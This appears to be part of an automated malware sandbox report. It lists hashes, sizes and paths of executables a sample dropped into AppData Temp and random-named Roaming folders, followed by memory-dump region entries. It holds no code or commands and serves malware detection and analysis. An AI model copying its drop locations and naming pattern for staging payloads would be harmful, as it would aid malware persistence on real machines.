SHA2568d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8
SHA51230675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5aa8efa56e1e40374bbd21e0e469dceb7
SHA133a592799d4898c6efdd29e132f2f76ec51dbc08
SHA25625eb4f899ae8f90b66b9342781456700d1af487f6f302fe5a727328b026f6bdf
SHA512ad6de575b83db36b239317e4c46a1eaeb0383d5909a12b69ee2b38798c2b5cb0d19b464f5689037501d20592d92c4d3d84f0e49fdb1c0648b6593481a183f096
-
C:\Users\Admin\AppData\Local\Temp\ba.exeFilesize
18KB
MD561f45eab008bcde3e3a3c063772aab2f
SHA1667d79cb382b6a92961092b909bb28b749c5bf24
SHA2565c762e43a8894a74249b7db0eded67453ac96c216a10cda8e7beca238293bac4
SHA512ea214fe31980a4cd7c69e5daab1116f8ade305782fe16362955781c27b5dc0892a4c92b48f01708bf643dc3675afd14d31cb9f7df3f8e5db7a8daac7de044a8c
-
C:\Users\Admin\AppData\Local\Temp\ba.exeFilesize
18KB
MD561f45eab008bcde3e3a3c063772aab2f
SHA1667d79cb382b6a92961092b909bb28b749c5bf24
SHA2565c762e43a8894a74249b7db0eded67453ac96c216a10cda8e7beca238293bac4
SHA512ea214fe31980a4cd7c69e5daab1116f8ade305782fe16362955781c27b5dc0892a4c92b48f01708bf643dc3675afd14d31cb9f7df3f8e5db7a8daac7de044a8c
-
C:\Users\Admin\AppData\Local\Temp\gg.exeFilesize
693KB
MD5e740fd2f754a367412bc27005e6aaccb
SHA1c60104438c97d9966fa698162c82d2d2b2550c0b
SHA256d895d3572910814cbdde2f48c16ec3fb15a07b2238bb7ec2685f004b527f2cbb
SHA512d48992867d7032c918fe63bab2141c748c3308becbecf0b07a77370d0f33b1fbca542647f7898ccdd179fd23e2f6a90bc50b2b6d5f2a31060650c7883e55f5d3
-
C:\Users\Admin\AppData\Local\Temp\gg.exeFilesize
693KB
MD5e740fd2f754a367412bc27005e6aaccb
SHA1c60104438c97d9966fa698162c82d2d2b2550c0b
SHA256d895d3572910814cbdde2f48c16ec3fb15a07b2238bb7ec2685f004b527f2cbb
SHA512d48992867d7032c918fe63bab2141c748c3308becbecf0b07a77370d0f33b1fbca542647f7898ccdd179fd23e2f6a90bc50b2b6d5f2a31060650c7883e55f5d3
-
C:\Users\Admin\AppData\Local\Temp\gg.exeFilesize
693KB
MD5e740fd2f754a367412bc27005e6aaccb
SHA1c60104438c97d9966fa698162c82d2d2b2550c0b
SHA256d895d3572910814cbdde2f48c16ec3fb15a07b2238bb7ec2685f004b527f2cbb
SHA512d48992867d7032c918fe63bab2141c748c3308becbecf0b07a77370d0f33b1fbca542647f7898ccdd179fd23e2f6a90bc50b2b6d5f2a31060650c7883e55f5d3
-
C:\Users\Admin\AppData\Local\Temp\gor.exeFilesize
212KB
MD5d25ae430b30fa2e0c38b50d054b1ea5e
SHA1f67497d2014fbbf4bd2d40aa14a0e274c0309527
SHA256c21084cfecb765173b2cd8f902fa17194e89e278f6ebc0bfba2abacd600d90a4
SHA512520bcc2c0fa217b61a267c34891ae4cdf72dca8de27fa4afcba9dacd9c00fc6707759d571f644e2538f5bcf00d4a32e26e875ccdd6c784e3dff09c66aab38bc9
-
C:\Users\Admin\AppData\Local\Temp\gor.exeFilesize
212KB
MD5d25ae430b30fa2e0c38b50d054b1ea5e
SHA1f67497d2014fbbf4bd2d40aa14a0e274c0309527
SHA256c21084cfecb765173b2cd8f902fa17194e89e278f6ebc0bfba2abacd600d90a4
SHA512520bcc2c0fa217b61a267c34891ae4cdf72dca8de27fa4afcba9dacd9c00fc6707759d571f644e2538f5bcf00d4a32e26e875ccdd6c784e3dff09c66aab38bc9
-
C:\Users\Admin\AppData\Local\Temp\gor.exeFilesize
212KB
MD5d25ae430b30fa2e0c38b50d054b1ea5e
SHA1f67497d2014fbbf4bd2d40aa14a0e274c0309527
SHA256c21084cfecb765173b2cd8f902fa17194e89e278f6ebc0bfba2abacd600d90a4
SHA512520bcc2c0fa217b61a267c34891ae4cdf72dca8de27fa4afcba9dacd9c00fc6707759d571f644e2538f5bcf00d4a32e26e875ccdd6c784e3dff09c66aab38bc9
-
C:\Users\Admin\AppData\Local\Temp\rog.exeFilesize
2.6MB
MD50c4fd32a439820037d08d68687807598
SHA1644113b692d3f16a6f329a24b4be6ca1a636c568
SHA256eca0b857de4682a5c859409d8ad7f9f2f6823ab770b9de8504db557b5f3d4240
SHA512057948b3ace67ea088a021c93e7a25ccd3a3de2ee277ad17767fe1cea6ab88c2797ad78607d04d2373f0e9445d7d164a09af34dd1694fa30be659efb8e397179
-
C:\Users\Admin\AppData\Local\Temp\rog.exeFilesize
2.6MB
MD50c4fd32a439820037d08d68687807598
SHA1644113b692d3f16a6f329a24b4be6ca1a636c568
SHA256eca0b857de4682a5c859409d8ad7f9f2f6823ab770b9de8504db557b5f3d4240
SHA512057948b3ace67ea088a021c93e7a25ccd3a3de2ee277ad17767fe1cea6ab88c2797ad78607d04d2373f0e9445d7d164a09af34dd1694fa30be659efb8e397179
-
C:\Users\Admin\AppData\Local\Temp\rog.exeFilesize
2.6MB
MD50c4fd32a439820037d08d68687807598
SHA1644113b692d3f16a6f329a24b4be6ca1a636c568
SHA256eca0b857de4682a5c859409d8ad7f9f2f6823ab770b9de8504db557b5f3d4240
SHA512057948b3ace67ea088a021c93e7a25ccd3a3de2ee277ad17767fe1cea6ab88c2797ad78607d04d2373f0e9445d7d164a09af34dd1694fa30be659efb8e397179
-
C:\Users\Admin\AppData\Local\Temp\sg.exeFilesize
1.7MB
MD55f48f3eceef12e98821d2a26b0e039ce
SHA1a98164df15415cfb0a22b7d8382f04914e5fef56
SHA25615c61bff122689fbca8f61c8cc3c77d54a7320a7427e9b098fec82233459884a
SHA512cdc698888018581607cf14fc2d6e3b7bfcee8c4dd7bef7b6b895845190e11e5866f1d62709432f600cd6c9905d7c858d505f050616068e37b42524d6acd3ffde
-
C:\Users\Admin\AppData\Local\Temp\sg.exeFilesize
1.7MB
MD55f48f3eceef12e98821d2a26b0e039ce
SHA1a98164df15415cfb0a22b7d8382f04914e5fef56
SHA25615c61bff122689fbca8f61c8cc3c77d54a7320a7427e9b098fec82233459884a
SHA512cdc698888018581607cf14fc2d6e3b7bfcee8c4dd7bef7b6b895845190e11e5866f1d62709432f600cd6c9905d7c858d505f050616068e37b42524d6acd3ffde
-
C:\Users\Admin\AppData\Local\Temp\sg.exeFilesize
1.7MB
MD55f48f3eceef12e98821d2a26b0e039ce
SHA1a98164df15415cfb0a22b7d8382f04914e5fef56
SHA25615c61bff122689fbca8f61c8cc3c77d54a7320a7427e9b098fec82233459884a
SHA512cdc698888018581607cf14fc2d6e3b7bfcee8c4dd7bef7b6b895845190e11e5866f1d62709432f600cd6c9905d7c858d505f050616068e37b42524d6acd3ffde
-
C:\Users\Admin\AppData\Local\Temp\xerax.exeFilesize
2.6MB
MD5ad0cb75c2e63718ded2aff1e87797460
SHA13147252b276123f18a8b7a9454d2bb616d26c443
SHA25638f6b932f8366f609b1415694cac002437aff95af435342e6a9c8db5224f5a5a
SHA512ff59793d31f078e3a88a6d7b72a2523050fdbb02ab2cd9f2637dd5c4ccc90e8ccba32208140064a30a0c773e85cc4ca6f7d7aa19e7e770ed27f87e8486964c68
-
C:\Users\Admin\AppData\Local\Temp\xerax.exeFilesize
2.6MB
MD5ad0cb75c2e63718ded2aff1e87797460
SHA13147252b276123f18a8b7a9454d2bb616d26c443
SHA25638f6b932f8366f609b1415694cac002437aff95af435342e6a9c8db5224f5a5a
SHA512ff59793d31f078e3a88a6d7b72a2523050fdbb02ab2cd9f2637dd5c4ccc90e8ccba32208140064a30a0c773e85cc4ca6f7d7aa19e7e770ed27f87e8486964c68
-
C:\Users\Admin\AppData\Local\Temp\xerax.exeFilesize
2.6MB
MD5ad0cb75c2e63718ded2aff1e87797460
SHA13147252b276123f18a8b7a9454d2bb616d26c443
SHA25638f6b932f8366f609b1415694cac002437aff95af435342e6a9c8db5224f5a5a
SHA512ff59793d31f078e3a88a6d7b72a2523050fdbb02ab2cd9f2637dd5c4ccc90e8ccba32208140064a30a0c773e85cc4ca6f7d7aa19e7e770ed27f87e8486964c68
-
C:\Users\Admin\AppData\Roaming\2TFLPVS0CX9KEDP\app.exeFilesize
107KB
MD559ec0d84dfa73c1ef7501ad6f97f8d6f
SHA146cfc8000022f90c1a3ce2e0ff08d8ba5b8dfa49
SHA2568cc6e08053bb8d9386ae9484023c2ec7345bcf1b710691926e1d7194c7f4971d
SHA5128865d8084aef3aee8bd2fdc7c492592567620ecb828491ffc0ef73a1a32299ca8e0768edced32ab0dbf38f5dacf79fb44747074f7acaedeac2f7070cb94d1bbd
-
C:\Users\Admin\AppData\Roaming\2TFLPVS0CX9KEDP\app.exeFilesize
107KB
MD559ec0d84dfa73c1ef7501ad6f97f8d6f
SHA146cfc8000022f90c1a3ce2e0ff08d8ba5b8dfa49
SHA2568cc6e08053bb8d9386ae9484023c2ec7345bcf1b710691926e1d7194c7f4971d
SHA5128865d8084aef3aee8bd2fdc7c492592567620ecb828491ffc0ef73a1a32299ca8e0768edced32ab0dbf38f5dacf79fb44747074f7acaedeac2f7070cb94d1bbd
-
C:\Users\Admin\AppData\Roaming\8BOUWRCXZEBB7HA\app.exeFilesize
107KB
MD559ec0d84dfa73c1ef7501ad6f97f8d6f
SHA146cfc8000022f90c1a3ce2e0ff08d8ba5b8dfa49
SHA2568cc6e08053bb8d9386ae9484023c2ec7345bcf1b710691926e1d7194c7f4971d
SHA5128865d8084aef3aee8bd2fdc7c492592567620ecb828491ffc0ef73a1a32299ca8e0768edced32ab0dbf38f5dacf79fb44747074f7acaedeac2f7070cb94d1bbd
-
C:\Users\Admin\AppData\Roaming\8BOUWRCXZEBB7HA\app.exeFilesize
107KB
MD559ec0d84dfa73c1ef7501ad6f97f8d6f
SHA146cfc8000022f90c1a3ce2e0ff08d8ba5b8dfa49
SHA2568cc6e08053bb8d9386ae9484023c2ec7345bcf1b710691926e1d7194c7f4971d
SHA5128865d8084aef3aee8bd2fdc7c492592567620ecb828491ffc0ef73a1a32299ca8e0768edced32ab0dbf38f5dacf79fb44747074f7acaedeac2f7070cb94d1bbd
-
\??\pipe\LOCAL\crashpad_13736_GOIAMVVLVHJSHRNDMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
memory/2416-142-0x0000000000000000-mapping.dmp
-
memory/3432-145-0x00007FFA66580000-0x00007FFA67041000-memory.dmpFilesize
10.8MB
-
memory/3432-141-0x0000000000000000-mapping.dmp
-
memory/3432-156-0x00007FFA66580000-0x00007FFA67041000-memory.dmpFilesize
10.8MB
-
memory/4696-136-0x000000001BF70000-0x000000001BF92000-memory.dmpFilesize
136KB
-
memory/4696-137-0x00007FFA66580000-0x00007FFA67041000-memory.dmpFilesize
10.8MB
-
memory/4696-132-0x0000000000000000-mapping.dmp
-
memory/4696-217-0x00007FFA66580000-0x00007FFA67041000-memory.dmpFilesize
10.8MB
-
memory/4696-135-0x0000000000A40000-0x0000000000A4A000-memory.dmpFilesize
40KB
-
memory/4696-211-0x00007FFA66580000-0x00007FFA67041000-memory.dmpFilesize
10.8MB
-
memory/4892-138-0x0000000000000000-mapping.dmp
-
memory/4904-146-0x0000000000000000-mapping.dmp
-
memory/13652-202-0x0000000000000000-mapping.dmp
-
memory/13652-204-0x0000000000400000-0x0000000000420000-memory.dmpFilesize
128KB
-
memory/13660-203-0x0000000000000000-mapping.dmp
-
memory/13736-215-0x0000000000000000-mapping.dmp
-
memory/13852-216-0x0000000000000000-mapping.dmp
-
memory/14268-219-0x0000000000000000-mapping.dmp
-
memory/14284-220-0x0000000000000000-mapping.dmp
-
memory/14476-222-0x0000000000000000-mapping.dmp
-
memory/16784-149-0x0000000000000000-mapping.dmp
-
memory/20844-225-0x0000000000000000-mapping.dmp
-
memory/28192-227-0x0000000000000000-mapping.dmp
-
memory/29152-229-0x0000000000000000-mapping.dmp
-
memory/29584-231-0x0000000000000000-mapping.dmp
-
memory/29948-234-0x0000000000000000-mapping.dmp
-
memory/30008-235-0x0000000000000000-mapping.dmp
-
memory/30756-246-0x0000000000000000-mapping.dmp
-
memory/30876-253-0x0000000000000000-mapping.dmp
-
memory/30956-248-0x0000000000000000-mapping.dmp
-
memory/30992-242-0x0000000000CA0000-0x0000000000CC0000-memory.dmpFilesize
128KB
-
memory/30992-239-0x0000000000000000-mapping.dmp
-
memory/31440-249-0x0000000000000000-mapping.dmp
-
memory/31452-252-0x0000000000000000-mapping.dmp
-
memory/31504-244-0x0000000000000000-mapping.dmp
-
memory/47280-254-0x0000000000000000-mapping.dmp
-
memory/47564-256-0x0000000000000000-mapping.dmp
-
memory/48424-155-0x0000000000DC0000-0x0000000000E74000-memory.dmpFilesize
720KB
-
memory/48424-181-0x0000000005EE0000-0x0000000005F18000-memory.dmpFilesize
224KB
-
memory/48424-183-0x0000000005EC0000-0x0000000005ECE000-memory.dmpFilesize
56KB
-
memory/48424-174-0x0000000009CC0000-0x0000000009CC8000-memory.dmpFilesize
32KB
-
memory/48424-152-0x0000000000000000-mapping.dmp
-
memory/64180-258-0x0000000000000000-mapping.dmp
-
memory/64256-260-0x0000000000000000-mapping.dmp
-
memory/64308-262-0x0000000000000000-mapping.dmp
-
memory/68900-264-0x0000000000000000-mapping.dmp
-
memory/79464-267-0x0000000000000000-mapping.dmp
-
memory/79776-265-0x0000000000000000-mapping.dmp
-
memory/99436-194-0x0000000000000000-mapping.dmp
-
memory/108756-157-0x0000000000000000-mapping.dmp
-
memory/112868-159-0x0000000000000000-mapping.dmp
-
memory/112868-161-0x00007FFA66580000-0x00007FFA67041000-memory.dmpFilesize
10.8MB
-
memory/112868-196-0x00007FFA66580000-0x00007FFA67041000-memory.dmpFilesize
10.8MB
-
memory/128920-162-0x0000000000000000-mapping.dmp
-
memory/131968-165-0x0000000000000000-mapping.dmp
-
memory/131968-185-0x0000000004B30000-0x0000000004B6C000-memory.dmpFilesize
240KB
-
memory/131968-179-0x0000000005030000-0x0000000005648000-memory.dmpFilesize
6.1MB
-
memory/131968-182-0x0000000004C00000-0x0000000004D0A000-memory.dmpFilesize
1.0MB
-
memory/131968-167-0x0000000000620000-0x0000000000640000-memory.dmpFilesize
128KB
-
memory/131976-163-0x0000000000000000-mapping.dmp
-
memory/134848-193-0x0000000006CB0000-0x0000000006E72000-memory.dmpFilesize
1.8MB
-
memory/134848-198-0x0000000007000000-0x0000000007076000-memory.dmpFilesize
472KB
-
memory/134848-197-0x0000000006C30000-0x0000000006C80000-memory.dmpFilesize
320KB
-
memory/134848-199-0x00000000072A0000-0x00000000072BE000-memory.dmpFilesize
120KB
-
memory/134848-192-0x0000000006120000-0x0000000006186000-memory.dmpFilesize
408KB
-
memory/134848-195-0x00000000073B0000-0x00000000078DC000-memory.dmpFilesize
5.2MB
-
memory/134848-191-0x0000000006080000-0x0000000006112000-memory.dmpFilesize
584KB
-
memory/134848-169-0x0000000000400000-0x000000000041C000-memory.dmpFilesize
112KB
-
memory/134848-166-0x0000000000000000-mapping.dmp
-
memory/134848-190-0x0000000006530000-0x0000000006AD4000-memory.dmpFilesize
5.6MB
-
memory/134848-180-0x0000000005540000-0x0000000005552000-memory.dmpFilesize
72KB
-
memory/135120-184-0x0000000000000000-mapping.dmp
-
memory/135152-187-0x0000000000000000-mapping.dmp